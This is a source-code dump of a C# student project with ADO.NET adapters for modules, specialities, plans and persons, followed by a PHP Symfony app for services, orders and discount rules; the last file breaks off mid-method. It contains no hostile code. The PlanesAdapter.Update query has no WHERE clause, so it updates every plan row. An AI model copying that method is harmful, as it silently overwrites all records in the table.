Ex) { Exception ExcepcionManejada = new Exception("Error al eliminar el modulo", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } public void Save(Modulo modulo) { if (modulo.State == BusinessEntity.States.Deleted) { this.Delete(modulo.ID); } else if (modulo.State == BusinessEntity.States.New) { this.Insert(modulo); } else if (modulo.State == BusinessEntity.States.Modified) { this.Update(modulo); } modulo.State = BusinessEntity.States.Unmodified; } protected void Update(Modulo modulo) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("UPDATE modulos SET desc_modulo=@desc_modulo " + "WHERE id_modulo=@id", sqlConn); cmdSave.Parameters.Add("@id", SqlDbType.Int).Value = modulo.ID; cmdSave.Parameters.Add("@desc_modulo", SqlDbType.VarChar, 50).Value = modulo.Descripcion; cmdSave.ExecuteNonQuery(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al modificar datos del modulo", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } protected void Insert(Modulo modulo) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("insert into modulos(desc_modulo)" + "values(@desc_modulo) " + "select @@identity", sqlConn); cmdSave.Parameters.Add("@desc_modulo", SqlDbType.VarChar, 50).Value = modulo.Descripcion; modulo.ID = Decimal.ToInt32((decimal)cmdSave.ExecuteScalar()); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al cargar el modulo", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } } } <file_sep>/TP2L05/Business.Logic/PlanLogic.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Business.Entities; using Data.Database; namespace Business.Logic { public class PlanLogic : BusinessLogic { Data.Database.PlanAdapter _planData; public Data.Database.PlanAdapter PlanData { get { return _planData; } set { _planData = value; } } public List<Plan> GetAll() { PlanAdapter plan = new PlanAdapter(); return plan.GetAll(); } public Plan GetOne(int Id) { PlanAdapter plan = new PlanAdapter(); return plan.GetOne(Id); } public void Delete(int Id) { PlanAdapter plan = new PlanAdapter(); plan.Delete(Id); } public void Save(Plan plan) { PlanAdapter pla = new PlanAdapter(); pla.Save(plan); } } } <file_sep>/TP2L05/Data.Database/EspecialidadAdapter.cs using System; using System.Collections.Generic; using System.Text; using Business.Entities; using Data.Database; using System.Data; using System.Data.SqlClient; namespace Data.Database { public class EspecialidadAdapter : Adapter { public List<Especialidad> GetAll() { List<Especialidad> especialidades = new List<Especialidad>(); try { this.OpenConnection(); SqlCommand cmdEspecialidades = new SqlCommand("select * from especialidades", sqlConn); SqlDataReader drEspecilidades = cmdEspecialidades.ExecuteReader(); while (drEspecilidades.Read()) { Especialidad esp = new Especialidad(); esp.ID = (int)drEspecilidades["id_especialidad"]; esp.Descripcion = (string)drEspecilidades["desc_especialidad"]; especialidades.Add(esp); } drEspecilidades.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos de las especialidades", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return especialidades; } public Business.Entities.Especialidad GetOne(int ID) { Especialidad esp = new Especialidad(); try { this.OpenConnection(); SqlCommand cmdEspecialidades = new SqlCommand("select * from especialidades where id_especialidad = @id", sqlConn); cmdEspecialidades.Parameters.Add("@id", SqlDbType.Int).Value = ID; SqlDataReader drEspecilidades = cmdEspecialidades.ExecuteReader(); if (drEspecilidades.Read()) { esp.ID = (int)drEspecilidades["id_especialidad"]; esp.Descripcion = (string)drEspecilidades["desc_especialidad"]; } drEspecilidades.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos de la especialidad", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return esp; } public void Delete(int ID) { try { this.OpenConnection(); SqlCommand cmdDelete = new SqlCommand("delete especialidades where id_especialidad = @id", sqlConn); cmdDelete.Parameters.Add("@id", SqlDbType.Int).Value = ID; cmdDelete.ExecuteNonQuery(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al eliminar la especialidad", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } public void Save(Especialidad especialidad) { if (especialidad.State == BusinessEntity.States.Deleted) { this.Delete(especialidad.ID); } else if (especialidad.State == BusinessEntity.States.New) { this.Insert(especialidad); } else if (especialidad.State == BusinessEntity.States.Modified) { this.Update(especialidad); } especialidad.State = BusinessEntity.States.Unmodified; } protected void Update(Especialidad especialidad) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("UPDATE especialidades SET desc_especialidad=@desc_especialidad "+ "WHERE id_especialidad=@id", sqlConn); cmdSave.Parameters.Add("@id", SqlDbType.Int).Value = especialidad.ID; cmdSave.Parameters.Add("@desc_especialidad", SqlDbType.VarChar, 50).Value = especialidad.Descripcion; cmdSave.ExecuteNonQuery(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al modificar datos de la especialidad", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } protected void Insert(Especialidad especialidad) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("insert into especialidades(desc_especialidad)" + "values(@desc_especialidad)" + "select @@identity", sqlConn); cmdSave.Parameters.Add("@desc_especialidad", SqlDbType.VarChar, 50).Value = especialidad.Descripcion; especialidad.ID = Decimal.ToInt32((decimal)cmdSave.ExecuteScalar()); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al cargar la especialidad", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } } } <file_sep>/TP2L05/Business.Logic/EspecialidadLogic.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Business.Entities; using Data.Database; namespace Business.Logic { public class EspecialidadLogic : BusinessLogic { Data.Database.EspecialidadAdapter _especialidadData; public Data.Database.EspecialidadAdapter EspecialidadData { get { return _especialidadData; } set { _especialidadData = value; } } public List<Especialidad> GetAll() { EspecialidadAdapter especialidad = new EspecialidadAdapter(); return especialidad.GetAll(); } public Especialidad GetOne(int Id) { EspecialidadAdapter especialidad = new EspecialidadAdapter(); return especialidad.GetOne(Id); } public void Delete(int Id) { EspecialidadAdapter especialidad = new EspecialidadAdapter(); especialidad.Delete(Id); } public void Save(Especialidad especialidad) { EspecialidadAdapter esp = new EspecialidadAdapter(); esp.Save(especialidad); } } } <file_sep>/TP2L05/Data.Database/PlanesAdapter.cs using System; using System.Collections.Generic; using System.Text; using Business.Entities; using Data.Database; using System.Data; using System.Data.SqlClient; namespace Data.Database { class PlanesAdapter:Adapter { public List<Planes> GetAll() { List<Planes> planes = new List<Planes>(); try { this.OpenConnection(); SqlCommand cmdPlanes = new SqlCommand("select * from planes", sqlConn); SqlDataReader drPlanes = cmdPlanes.ExecuteReader(); while (drPlanes.Read()) { Planes pla = new Planes(); pla.ID = (int)drPlanes["id_plan"]; pla.Descripcion = (string)drPlanes["desc_plan"]; pla.IDEspecialidad = (int)drPlanes["id_especialidad"]; planes.Add(pla); } drPlanes.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos de planes", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return planes; } public Business.Entities.Planes GetOne(int ID) { Planes pla = new Planes(); try { this.OpenConnection(); SqlCommand cmdPlanes = new SqlCommand("select * from planes where id_plan = @id", sqlConn); cmdPlanes.Parameters.Add("@id", SqlDbType.Int).Value = ID; SqlDataReader drPlanes = cmdPlanes.ExecuteReader(); if (drPlanes.Read()) { pla.ID = (int)drPlanes["id_plan"]; pla.Descripcion = (string)drPlanes["desc_plan"]; pla.IDEspecialidad = (int)drPlanes["id_especialidad"]; } drPlanes.Close(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al recuperar datos del plan", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } return pla; } public void Delete(int ID) { try { this.OpenConnection(); SqlCommand cmdDelete = new SqlCommand("delete planes where id_plan = @id", sqlConn); cmdDelete.Parameters.Add("@id", SqlDbType.Int).Value = ID; cmdDelete.ExecuteNonQuery(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al eliminar plan", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } public void Save(Planes plan) { if (plan.State == BusinessEntity.States.Deleted) { this.Delete(plan.ID); } else if (plan.State == BusinessEntity.States.New) { this.Insert(plan); } else if (plan.State == BusinessEntity.States.Modified) { this.Update(plan); } plan.State = BusinessEntity.States.Unmodified; } protected void Update(Planes plan) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("UPDATE planes SET desc_plan=@desc_plan, id_especialidad=@id_especialidad",sqlConn); cmdSave.Parameters.Add("@id", SqlDbType.Int).Value = plan.ID; cmdSave.Parameters.Add("@desc_plan", SqlDbType.VarChar, 50).Value = plan.Descripcion; cmdSave.Parameters.Add("@id_especialidad", SqlDbType.Int).Value = plan.IDEspecialidad; cmdSave.ExecuteNonQuery(); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al modificar datos del plan", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } protected void Insert(Planes plan) { try { this.OpenConnection(); SqlCommand cmdSave = new SqlCommand("insert into planes(desc_plan,id_especialidad)" + "values(@desc_plan,@id_especialidad)" + "select @@identity", sqlConn); cmdSave.Parameters.Add("@desc_plan", SqlDbType.VarChar, 50).Value = plan.Descripcion; cmdSave.Parameters.Add("@id_especialidad", SqlDbType.Int).Value = plan.IDEspecialidad; plan.ID = Decimal.ToInt32((decimal)cmdSave.ExecuteScalar()); } catch (Exception Ex) { Exception ExcepcionManejada = new Exception("Error al crear plan", Ex); throw ExcepcionManejada; } finally { this.CloseConnection(); } } } } <file_sep>/TP2L05/Business.Logic/PersonaLogic.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Business.Entities; using Data.Database; namespace Business.Logic { public class PersonaLogic : BusinessLogic { Data.Database.PersonaAdapter _personaData; public Data.Database.PersonaAdapter PersonaData { get { return _personaData; } set { _personaData = value; } } public List<Persona> GetAll() { PersonaAdapter persona = new PersonaAdapter(); return persona.GetAll(); } public Persona GetOne(int Id) { PersonaAdapter persona = new PersonaAdapter(); return persona.GetOne(Id); } public void Delete(int Id) { PersonaAdapter persona = new PersonaAdapter(); persona.Delete(Id); } public void Save(Persona persona) { PersonaAdapter per = new PersonaAdapter(); per.Save(persona); } } }
6a629dd90ea05440c0626e3ef4fed133258c8737
[ "C#" ]
17
C#
Guido1312/Tp2-.Net
188326f56aa607e05c61cfa6d0dc5702ee7b8671
9c0c8e4b207165e76d53b64e3e6294e212b593d3
refs/heads/master
<file_sep>import { compose } from 'react-apollo'; import Root from '../layouts/Root'; import Posts from '../components/Posts'; import Menu from '../components/Menu'; import withApollo from '../lib/withApolloBasic'; const Page = ({ initialState })=>(<Root className="mw7 center ph2"> <h1 className="f1">Basic</h1> <Menu /> <Posts /> </Root>); export default compose( withApollo )(Page);<file_sep>// Point at something in .next/dist if you want an ES5 module module.exports = require('./.next/dist/lib/next-apollo-provider');<file_sep>import 'isomorphic-fetch'; import React from 'react'; import { ApolloClient, ApolloProvider, getDataFromTree, createNetworkInterface } from 'react-apollo'; // Client instances that we manage let apolloClients = {}; function getApolloClient(apolloClientSettings, initialState, ssrMode, context){ let settings = null; if(typeof apolloClientSettings === 'function'){ settings = apolloClientSettings(initialState, ssrMode, context); } else if (typeof apolloClientSettings === 'string'){ settings = { initialState, ssrMode, connectToDevTools: false, dataIdFromObject: (result) => (result.id || null), networkInterface: createNetworkInterface({ uri: apolloClientSettings, opts: { credentials: 'same-origin' } }) }; } else { settings = {...apolloClientSettings, initialState, ssrMode }; } // If apolloClientSettings returns a function then assume you are going to return an ApolloClient if(settings instanceof Function){ return settings(initialState, ssrMode, context); } else { // Try and create a unique key for this client let key = 'CLIENT_' + (settings.name || (settings.networkInterface && settings.networkInterface._uri) || 'default'); if (!process.browser) { // THE SERVER SHOULD NOT SHARE AN INSTANCE ACROSS REQUESTS! return new ApolloClient(settings); } else if(apolloClients[key]) { // Client can reuse an instance if its available return apolloClients[key]; } else { // Create new client instance apolloClients[key] = new ApolloClient(settings); return apolloClients[key]; } } } export default (apolloClientSettings, getReduxStore) => { return (Component) => ( class extends React.Component { static async getInitialProps (context) { // Get client or build client and custom store if provided. const client = getApolloClient(apolloClientSettings, undefined, !process.browser, context); const store = getReduxStore && getReduxStore(client, client.initialState); const props = { url: { query: context.query, pathname: context.pathname }, // Server render needs to see url and params ...await (Component.getInitialProps ? Component.getInitialProps(context) : {}) }; if (!process.browser) { const app = (<ApolloProvider client={client} store={store}><Component {...props} apolloClient={client} /></ApolloProvider>); await getDataFromTree(app); } const storeState = store && store.getState(); return { initialState: { ...storeState, apollo: { data: client.getInitialState().data } }, ...props }; } constructor (props) { super(props); // We dont send context on the second server render as it should use initialState and not make a network request. this.client = getApolloClient(apolloClientSettings, this.props.initialState, !process.browser); this.store = getReduxStore && getReduxStore(this.client, this.props.initialState); } render () { return (<ApolloProvider client={this.client} store={this.store}><Component {...this.props} apolloClient={this.client} /></ApolloProvider>); } } ); };<file_sep># next-apollo-provider A helper to make an [ApolloProvider](http://dev.apollodata.com/react/index.html) available as a high order component for [next.js](https://github.com/zeit/next.js) pages. ## Install ``` npm install next-apollo-provider --save ``` ## Setup By default the provider will create and cache an ApolloClient for each unique URI provided to a NetworkInterface, so its best to create your own `withApollo.js` wrapper with your settings and not apply `nextApolloProvider` to components directly. ### Create a basic Wrapper Provide a URL that points to a GraphQL server and a default configuration and network interface will be automatically created. ``` import nextApolloProvider from 'next-apollo-provider'; export default nextApolloProvider(process.env.GRAPHQL_URL); ``` Ensure you make the environment variable available to the client - see [with-universal-configuration](https://github.com/zeit/next.js/tree/master/examples/with-universal-configuration) for an example. ### Create from an ApolloClient settings object Provide an ApolloClient settings object to customise the connection. You should not set `initialState` and `ssrMode` they will be automatically attached. All other options are supported including networkInterfaces and middleware. By default an ApolloClient will be created and reused across requests for each unique `networkInterface.uri` provided, you can supply an additional `name` property if you need multiple clients and settings per endpoint. ``` import nextApolloProvider from 'next-apollo-provider'; import { createNetworkInterface } from 'react-apollo'; export default nextApolloProvider({ connectToDevTools: (process.browser && process.env.NODE_ENV !== 'production'), dataIdFromObject: (result) => (result.id || null), networkInterface: createNetworkInterface({ uri: process.env.GRAPHQL_URL, opts: { credentials: 'same-origin' } }) }); ``` ### Create from a function that returns settings You can provide a function that returns a settings object for more control. You will need to set the provided `initialState` and `ssrMode` yourself. The request context will be available on the initial server request to access headers etc. ``` import nextApolloProvider from 'next-apollo-provider'; import { createNetworkInterface } from 'react-apollo'; export default nextApolloProvider((initialState, ssrMode, context)=>{ let networkInterface = createNetworkInterface({ uri: process.env.GRAPHQL_URL, opts: { credentials: 'same-origin' } }); networkInterface.use([{ applyMiddleware(req, next) { // Do some middleware such as authentication headers. next(); } }]); return { initialState, ssrMode, connectToDevTools: (process.browser && process.env.NODE_ENV !== 'production'), dataIdFromObject: (result) => (result.id || null), networkInterface }); ``` ### Use a function that returns an ApolloClient If you need more control your settings function can return a `getApolloClient(initialState, ssrMode, context)` function which should return your own ApolloClient instance. ``` import nextApolloProvider from 'next-apollo-provider'; import { ApolloClient, createNetworkInterface } from 'react-apollo'; let apolloClient = null; function getApolloClient(initialState, ssrMode){ let settings = { initialState, ssrMode, connectToDevTools: (process.browser && process.env.NODE_ENV !== 'production'), dataIdFromObject: (result) => (result.id || null), networkInterface: createNetworkInterface({ uri: process.env.GRAPHQL_URL, opts: { credentials: 'same-origin' } }) }; if (!process.browser) { return new ApolloClient(settings); } else if(apolloClient) { return apolloClient; } else { apolloClient = new ApolloClient(settings); return apolloClient; } } export default nextApolloProvider(()=>(getApolloClient)); ``` ### Redux Integration Provide a `getReduxStore(client, initialState)` function as the second parameter and return a reduxStore to use a custom Redux store. ``` import nextApolloProvider from 'next-apollo-provider'; import { createNetworkInterface } from 'react-apollo'; const apolloClientSettings = { networkInterface: createNetworkInterface({ uri: process.env.GRAPHQL_URL, }) }; let reduxStore = null; function getReduxStore(client, initialState){ ... TODO return reduxStore; } export default nextApolloProvider(apolloClientSettings, getReduxStore); ``` ### Usage Use the `withApollo` HOC you created to wrap a next.js page, compose with `graphql` as required. The server needs to evaluate `getInitialProps` twice to fetch the `initialSate`, so use the provided `initialState` property to detect when the server has data to prevent the rendering of multiple `<Head>` tags for example. ``` import { gql, graphql, compose } from 'react-apollo'; import withApollo from './withApollo'; const Posts = ({ initialState, apolloClient })=>{ return <div>{ initialState ? 'We have data!' : 'Server is loading data!'}</div>; } export default compose( withApollo, graphql(gql` query PostsQuery { post { id } } `) )(Posts); ``` ## Build & Run Examples The examples in `/pages` use an API at [graph.cool](https://api.graph.cool/simple/v1/cixmkt2ul01q00122mksg82pn) Set an environment variable for `GRAPHQL_URL=https://api.graph.cool/simple/v1/cixmkt2ul01q00122mksg82pn` The module uses a simple next boilerplate and exports `next-apollo-provider` from `/lib/next-apollo-provider`, run with `npm start dev`, build with `next build`. ## TODO - Some tests - Custom client example - Redux example <file_sep>import nextApolloProvider from '../next-apollo-provider'; export default nextApolloProvider(process.env.GRAPHQL_URL);<file_sep>import Link from 'next/link'; const linkClass = "link white dib bg-blue hover-bg-blue bg-animate br2 mr2 pv1 ph2"; export default () => (<div className="pv3"> <Link href="/" prefetch><a className={linkClass}>Home</a></Link> <Link href="/basic" prefetch><a className={linkClass}>Basic Example</a></Link> <Link href="/simple" prefetch><a className={linkClass}>Simple Settings Example</a></Link> <Link href="/function" prefetch><a className={linkClass}>Function Settings Example</a></Link> </div>); <file_sep>import Root from '../layouts/Root'; import Menu from '../components/Menu'; export default () => (<Root className="mw7 center ph2"> <h1 className="f1">Examples</h1> <Menu /> </Root>);<file_sep>import nextApolloProvider from '../next-apollo-provider'; import { createNetworkInterface } from 'react-apollo'; export default nextApolloProvider((initialState, ssrMode)=>({ name: 'clientfromfunction', // Set a name to create a unique client for this hoc initialState, ssrMode, connectToDevTools: (process.browser && process.env.NODE_ENV !== 'production'), dataIdFromObject: (result) => (result.id || null), networkInterface: createNetworkInterface({ uri: process.env.GRAPHQL_URL, opts: { credentials: 'same-origin' } }) })); <file_sep>import { gql, graphql, compose } from 'react-apollo'; const Posts = ({data})=>(<div> {data.allPosts ? data.allPosts.map((post, key)=>(<div key={key}> <a href={post.url}>{post.title}</a> </div>)) : <div>Loading</div>} </div>); export default compose( graphql(gql` query PostsQuery { allPosts(first: 10) { id title url } } `) )(Posts);
8f184e2e485615345c6add9f0de238be018078c1
[ "JavaScript", "Markdown" ]
9
JavaScript
acorcutt/next-apollo-provider
2f9aa9f94f39e894e90bbaa9d00fde486f9465fb
d96286db411b837aed8e5726cf8633dd675e309b
refs/heads/master
<repo_name>netesin/test-services<file_sep>/src/AppBundle/Services/Discount/Validators/IsPhoneMatchValidator.php <?php namespace AppBundle\Services\Discount\Validators; use AppBundle\Services\Discount\DiscountInterface; use AppBundle\Services\Discount\OrderInterface; use AppBundle\Services\Discount\ValidatorInterface; class IsPhoneMatchValidator implements ValidatorInterface { /** * Check is discount can be apply for order. * * @param DiscountInterface $discount * @param OrderInterface $order * @return boolean */ public function isValid(DiscountInterface $discount, OrderInterface $order) { $phone = $order->getPhone(); $phoneEnding = $discount->getPhoneEnding(); return (!empty($phoneEnding) && !empty($phone) && strlen($phone) >= 4 && ((integer)substr($phone, -4) === (integer)$phoneEnding)); } /** * Check is discount can be validate by validator. * * @param DiscountInterface $discount * @return boolean */ public function isAccept(DiscountInterface $discount) { return !empty($discount->getPhoneEnding()); } } <file_sep>/src/AppBundle/Controller/RpcController.php <?php namespace AppBundle\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Symfony\Component\HttpFoundation\Request; class RpcController extends Controller { /** * @Route("/rpc", name="rpc") * @param Request $request * @return \Symfony\Component\HttpFoundation\Response */ public function indexAction(Request $request) { return $this->get('rpc.server.handler')->handleHttpRequest($request); } } <file_sep>/src/AppBundle/Controller/TplController.php <?php namespace AppBundle\Controller; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; class TplController extends Controller { /** * @Route("/tpl/order.html", name="tpl.order") */ public function getOrderTplAction() { return $this->render('AppBundle:Tpl:order.html.twig'); } /** * @Route("/tpl/admin.html", name="tpl.admin") */ public function getAdminTplAction() { return $this->render('AppBundle:Tpl:admin.html.twig'); } /** * @Route("/tpl/modal/discount.html", name="tpl.modal.discount") */ public function getModalDiscountTplAction() { return $this->render('@App/Tpl/modal/discount.html.twig'); } /** * @Route("/tpl/modal/service.html", name="tpl.modal.service") */ public function getModalServiceTplAction() { return $this->render('@App/Tpl/modal/service.html.twig'); } } <file_sep>/src/AppBundle/Services/Discount/Validators/GenderValidator.php <?php namespace AppBundle\Services\Discount\Validators; use AppBundle\Services\Discount\DiscountInterface; use AppBundle\Services\Discount\OrderInterface; use AppBundle\Services\Discount\ValidatorInterface; class GenderValidator implements ValidatorInterface { /** * Check is discount can be apply for order. * * @param DiscountInterface $discount * @param OrderInterface $order * @return boolean */ public function isValid(DiscountInterface $discount, OrderInterface $order) { if (!empty($discount->getGender())) { return $order->getGender() === $discount->getGender(); } return false; } /** * Check is discount can be validate by validator. * * @param DiscountInterface $discount * @return boolean */ public function isAccept(DiscountInterface $discount) { return !empty($discount->getGender()); } } <file_sep>/README.md Order and services test ======================= Clone project git clone https://github.com/netesin/test-services test Composer composer install Create database schema bin/console doctrine:schema:create Run local dev server bin/console server:start By default its run on http://127.0.0.1:8000<file_sep>/src/AppBundle/Resources/public/js/config.js 'use strict'; /** * Requirejs config */ requirejs.config( { baseUrl : 'bundles/app', waitSeconds: 30, /** * Modules ids. */ paths: { 'domReady' : 'lib/requirejs-domready/domReady', 'angular' : 'lib/angular/angular', 'angular-messages' : 'lib/angular-messages/angular-messages', 'angular-ui-bootstrap': 'lib/angular-ui-bootstrap/ui-bootstrap-tpls', 'angular-ui-router' : 'lib/angular-ui-router/angular-ui-router', 'jquery' : 'lib/jquery/jquery', 'rpc' : 'js/rpc' }, /** * for libs that either do not support AMD out of the box, or * require some fine tuning to dependency mgt' */ shim: { 'angular' : { exports: 'angular' }, 'angular-messages' : { deps: ['angular'] }, 'angular-ui-router' : { deps: ['angular'] }, 'angular-ui-bootstrap': { deps: ['angular'] }, 'rpc' : { deps: ['angular'] } }, deps: [ 'js/main' ] } );<file_sep>/src/AppBundle/Method/AbstractMethod.php <?php namespace AppBundle\Method; use AppBundle\Entity\Service; use JMS\Serializer\SerializationContext; use Symfony\Component\DependencyInjection\ContainerAwareInterface; use Symfony\Component\DependencyInjection\ContainerAwareTrait; class AbstractMethod implements ContainerAwareInterface { use ContainerAwareTrait; /** * Get service list. * * @param mixed $services * @return Service[] */ public function getServices($services) { $em = $this->container->get('doctrine.orm.entity_manager'); $qb = $em->getRepository('AppBundle:Service')->createQueryBuilder('service'); $servicesIds = []; foreach ((array)$services as $service) { if (is_array($service) && isset($service['id'])) { $servicesIds[] = $service['id']; } elseif (is_numeric($service)) { $servicesIds[] = $service; } } if (count($servicesIds) === 0) { return []; } $qb->where( $qb->expr()->in('service.id', ':ids') ); $qb->setParameter('ids', $servicesIds); return $qb->getQuery()->execute(); } /** * Serialize mixed value to array * * @param mixed $data * @param null|array|string $groups * @param bool $serializeNull * * @return mixed */ protected function serialize($data, $groups = null, $serializeNull = true) { if (!is_array($data) && !is_object($data)) { return $data; } if ($groups === 'all') { $groups = ['list', 'details', 'all']; } if ($groups === null) { if (is_object($data)) { $groups = ['details']; } else { $groups = ['list']; } } return $this->container ->get('jms_serializer') ->toArray( $data, SerializationContext::create() ->enableMaxDepthChecks() ->setSerializeNull($serializeNull) ->setGroups((array)$groups) ); } }<file_sep>/src/AppBundle/Listener/NotFoundListener.php <?php namespace AppBundle\Listener; use Symfony\Component\DependencyInjection\ContainerAwareInterface; use Symfony\Component\DependencyInjection\ContainerAwareTrait; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Event\GetResponseForExceptionEvent; use Symfony\Component\HttpKernel\Event\FilterResponseEvent; class NotFoundListener implements ContainerAwareInterface { use ContainerAwareTrait; /** * @param FilterResponseEvent $event */ public function onKernelResponse(FilterResponseEvent $event) { if ($event->getResponse()->getStatusCode() === 404) { $event->getResponse()->setStatusCode(200); } } /** * @param GetResponseForExceptionEvent $event */ public function onKernelException(GetResponseForExceptionEvent $event) { // Return index.html on not found route for angular. $response = new Response(); $twig = $this->container->get('twig'); $response->setContent( $twig->render('@App/index.html.twig') ); $response->setStatusCode(200); $event->setResponse($response); } }<file_sep>/src/AppBundle/Services/Discount/DiscountInterface.php <?php namespace AppBundle\Services\Discount; interface DiscountInterface { /** * Is need phone for discount. * * @return boolean */ public function isPhoneRequired(); /** * Get phone ending for discount. * * @return integer|null */ public function getPhoneEnding(); /** * Get gender for discount. * * @return string|null */ public function getGender(); /** * Get birthday week for discount. * * @return string|null */ public function getBirthdayWeek(); /** * Get gender for discount. * * @return integer */ public function getDiscount(); /** * Get services. * * @return ServiceInterface[] */ public function getServices(); /** * Get datetime activatedAt. * * @return \DateTime */ public function getActivatedAt(); /** * Get datetime activatedTo. * * @return \DateTime|null */ public function getActivatedTo(); } <file_sep>/src/AppBundle/Services/Discount/OrderInterface.php <?php namespace AppBundle\Services\Discount; interface OrderInterface { /** * Get birthday. * * @return \DateTime|null */ public function getBirthday(); /** * Get phone. * * @return integer|null */ public function getPhone(); /** * Get gender. * * @return string|null */ public function getGender(); /** * Get services. * * @return ServiceInterface[] */ public function getServices(); } <file_sep>/src/AppBundle/Method/Discounts/CreateMethod.php <?php namespace AppBundle\Method\Discounts; use AppBundle\Entity\Discount; use AppBundle\Method\AbstractMethod; use Timiki\Bundle\RpcServerBundle\Mapping as RPC; use Symfony\Component\Validator\Constraints as Assert; /** * @RPC\Method("discounts.create") */ class CreateMethod extends AbstractMethod { /** * @Rpc\Param() * @Assert\NotBlank() */ protected $name; /** * @Rpc\Param() * @Assert\Choice({"before", "after", "both", null}) */ protected $birthdayWeek = null; /** * @Rpc\Param() * @Assert\Type("boolean") */ protected $isPhoneRequired = false; /** * @Rpc\Param() * @Assert\Type("integer") * @Assert\Length(max="4") */ protected $phoneEnding = null; /** * @Rpc\Param() * @Assert\Choice({"f", "m", null}) */ protected $gender = null; /** * @Rpc\Param() * @Assert\Type("integer") * @Assert\GreaterThanOrEqual(0) * @Assert\LessThanOrEqual(100) * @Assert\NotBlank() */ protected $discount; /** * @Rpc\Param() * @Assert\Date() */ protected $activatedAt = null; /** * @Rpc\Param() * @Assert\Date() */ protected $activatedTo = null; /** * @Rpc\Param() * @Assert\Collection() */ protected $services = []; /** * @Rpc\Execute() */ public function execute() { $em = $this->container->get('doctrine.orm.entity_manager'); $discount = new Discount(); $discount->setName($this->name); $discount->setDiscount($this->discount); $discount->setBirthdayWeek($this->birthdayWeek); $discount->setGender($this->gender); $discount->setIsPhoneRequired((boolean)$this->isPhoneRequired); $discount->setPhoneEnding($this->phoneEnding); if (!empty($this->activatedAt)) { $discount->setActivatedAt( \DateTime::createFromFormat('Y-m-d', $this->activatedAt) ); } if (!empty($this->activatedTo)) { $discount->setActivatedTo( \DateTime::createFromFormat('Y-m-d', $this->activatedTo) ); } foreach ($this->getServices($this->services) as $service) { $discount->addService($service); } $em->persist($discount); $em->flush($discount); return $this->serialize($discount); } }<file_sep>/src/AppBundle/Entity/Service.php <?php namespace AppBundle\Entity; use AppBundle\Services\Discount\ServiceInterface; use Doctrine\ORM\Mapping as ORM; use JMS\Serializer\Annotation as Serializer; /** * @ORM\Entity() * @ORM\Table(name="Service") */ class Service implements ServiceInterface { /** * @var integer * * @ORM\Id() * @ORM\Column(type="bigint") * @ORM\GeneratedValue(strategy="AUTO") * @Serializer\Groups({ * "details", * "list", * }) */ protected $id; /** * @var string * * @ORM\Column(type="string") * @Serializer\Groups({ * "details", * "list", * }) */ protected $name; /** * @ORM\ManyToMany(targetEntity="AppBundle\Entity\Discount", mappedBy="services") */ protected $discounts; /** * @ORM\ManyToMany(targetEntity="AppBundle\Entity\Order", mappedBy="services") */ protected $orders; // /** * Constructor */ public function __construct() { $this->discounts = new \Doctrine\Common\Collections\ArrayCollection(); $this->orders = new \Doctrine\Common\Collections\ArrayCollection(); } /** * Get id * * @return integer */ public function getId() { return $this->id; } /** * Set name * * @param string $name * * @return Service */ public function setName($name) { $this->name = $name; return $this; } /** * Get name * * @return string */ public function getName() { return $this->name; } /** * Add discount * * @param \AppBundle\Entity\Discount $discount * * @return Service */ public function addDiscount(\AppBundle\Entity\Discount $discount) { $this->discounts[] = $discount; return $this; } /** * Remove discount * * @param \AppBundle\Entity\Discount $discount */ public function removeDiscount(\AppBundle\Entity\Discount $discount) { $this->discounts->removeElement($discount); } /** * Get discounts * * @return \Doctrine\Common\Collections\Collection */ public function getDiscounts() { return $this->discounts; } /** * Add order * * @param \AppBundle\Entity\Order $order * * @return Service */ public function addOrder(\AppBundle\Entity\Order $order) { $this->orders[] = $order; return $this; } /** * Remove order * * @param \AppBundle\Entity\Order $order */ public function removeOrder(\AppBundle\Entity\Order $order) { $this->orders->removeElement($order); } /** * Get orders * * @return \Doctrine\Common\Collections\Collection */ public function getOrders() { return $this->orders; } } <file_sep>/src/AppBundle/Method/Discounts/DeleteMethod.php <?php namespace AppBundle\Method\Discounts; use AppBundle\Method\AbstractMethod; use Timiki\Bundle\RpcServerBundle\Mapping as RPC; use Symfony\Component\Validator\Constraints as Assert; /** * @RPC\Method("discounts.delete") */ class DeleteMethod extends AbstractMethod { /** * @Rpc\Param() * @Assert\NotBlank() * @Assert\Type(type="integer") * @Assert\GreaterThan(0) */ protected $id; /** * @Rpc\Execute() */ public function execute() { $em = 